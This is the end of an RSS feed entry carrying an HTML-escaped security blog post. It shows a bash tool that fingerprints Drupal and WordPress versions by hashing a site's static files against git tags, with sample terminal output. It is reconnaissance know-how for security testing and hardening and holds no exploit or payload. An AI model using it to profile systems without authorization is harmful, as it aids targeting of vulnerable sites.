      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::|  |     
     /:/  /        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\ \ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:|:|  |     
    /:/__/  ___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  _&lt;span class=&quot;se&quot;&gt;\:\~\ \ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     /::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /:/|:|  |__   
    |:|  | /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/&lt;span class=&quot;se&quot;&gt;\ \:\ \ \_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; __/:/&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ /:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/ |:| /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; 
    |:|  |/:/  / &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|::&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  / &lt;span class=&quot;se&quot;&gt;\:\ \:\ \/&lt;/span&gt;__/ /&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  /    &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/  / &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__|:|/:/  /  
    |:|__/:/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     |:|::/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/__/      &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; /:/  /      |:/:/  /   
     &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:::/__/     &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/      |:|&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/     &lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  /    &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      &lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  /       |::/  /    
      ~~~~          &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |        &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /      &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/        &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /        /:/  /     
                     &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/                     &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/      
        ___           ___           ___           ___           ___           ___           ___     
       /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   
      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  
     /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/__/        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/__/        /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;    /:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; 
    /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /:/  &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;___   /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;  /::&lt;span class=&quot;se&quot;&gt;\~\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;
   /:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/__/ &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;::::&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;/:/&lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__&lt;span class=&quot;se&quot;&gt;\:\/&lt;/span&gt;:/  / &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|:|~~|~    &lt;span class=&quot;se&quot;&gt;\:\~\:\ \/&lt;/span&gt;__/ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;_|::&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;:/  /
    &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;           &lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;:/  /   &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;   &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;         |:|  |      &lt;span class=&quot;se&quot;&gt;\:\ \:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     |:|::/  / 
     &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;          /:/  /     &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/     &lt;span class=&quot;se&quot;&gt;\:\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        |:|  |       &lt;span class=&quot;se&quot;&gt;\:\ \/&lt;/span&gt;__/      |:|&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/  
      &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /:/  /       &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |        &lt;span class=&quot;se&quot;&gt;\:\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       |:|  |    
       &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|         &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;__/         &lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;__|    


&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Hint: &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;choosing relevant files to compare from a GIT repository:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; git log &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--pretty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;format: &lt;span class=&quot;nt&quot;&gt;--name-only&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;(.js&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.html&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.css&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rg&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-20&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; /tmp/work/hashes.txt found. Are you sure you want to overwrite and compute hashes &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Y/n]: 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.0
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.1
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.2
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Looking &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;tag: 7.3
...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/color/color.js: abce1b13050367ea1c8806888c29b383
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/user/user.css: 1162bec186856e63a6ca207b04282816
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/user/user.js: 0409afa4203df9e19e5754663bf27ba8
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-----------------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Checking filename /tmp/input/modules/overlay/overlay-parent.js: 9e7f29219143a79e528a59f1e5e2ab6e
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Thanks to strong and costly mathematical and statistical calculation:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; min version: 7.29
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; max version: 7.32
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Number of input files: 23
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; All input files have been found &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the following versions: 
7.32
7.31
7.30
7.29
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script is computing hashes for every input files found and for every git tags. If one input file is not found, the script will fail because we can not precisely determine a version that matches all input files.&lt;/p&gt;

&lt;p&gt;In our example, we finally have 23 input files from 30 relevant files (some has not been found on our target).&lt;br /&gt;
The final comparison between the input files hashes and the git tags hashes shows that the whole 23 input hashes match the versions 7.32, 7.31, 7.30, 7.29.&lt;/p&gt;

&lt;p&gt;So as previously seen in the CHANGELOG.txt, our version is well included (7.29).&lt;br /&gt;
You also can try with some others CMS like Wordpress. Here is what we got for example with a &lt;strong&gt;Wordpress 4.6&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./versionchecker.sh &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; ./input/ &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ~/Documents/repo/WordPress/ &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^4(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[0-9])+$&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Input files directory: /tmp/input
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Cleaning empty files and directory &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/input - Done
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; GIT repository: /root/Documents/repo/WordPress
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Grep pattern: ^4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0-9]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;+&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; min version: 4.6
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; max version: 4.6
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Number of input files: 24
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; All input files have been found &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the following versions: 
4.6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For wordpress we have only one possible version matching all the input files we provided thanks to the same procedure as seen for the Drupal CMS. We clearly know right now which version is running, &lt;strong&gt;4.6&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Hope it may helps you, give you some ideas, make you think about how to reduce your fingerprinting entropy.&lt;/p&gt;

&lt;p&gt;Cheers,&lt;br /&gt;
Phackt.&lt;/p&gt;
</description>
        <pubDate>Mon, 05 Jun 2017 00:00:00 +0000</pubDate>
        <link>https://phackt.org/fingerprint-web-application-static-files</link>
        <guid isPermaLink="true">https://phackt.org/fingerprint-web-application-static-files</guid>
        
        
        <category>Web Security</category>
        
      </item>
    
  </channel>
</rss>
